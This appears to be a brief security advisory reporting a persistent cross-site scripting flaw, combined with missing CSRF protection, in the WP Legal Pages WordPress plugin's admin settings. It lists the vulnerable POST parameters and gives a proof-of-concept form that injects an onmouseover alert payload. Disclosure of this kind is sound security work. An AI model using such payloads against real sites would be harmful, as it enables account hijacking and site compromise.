Hello,
1. Persistent Cross-Site Scripting (XSS)
Authenticated administrators can store html/js code (there is no CSRF protection).
Method: POST
Vulnerable parameters: lp-domain-name, lp-business-name, lp-phone, lp-street, lp-city-state, lp-country, lp-email, lp-address, lp-niche
Example PHP callstack:
/wplegalpages/adminSetting.php:91
Verification:
--
<input type="text" name="lp-gsubmit" value='Save' />
<input type="text" name="lp-domain-name" value='" onmouseover=alert(1) />'>
<input type="submit" />
</form>
--
--
Regards,
Marcin Probola,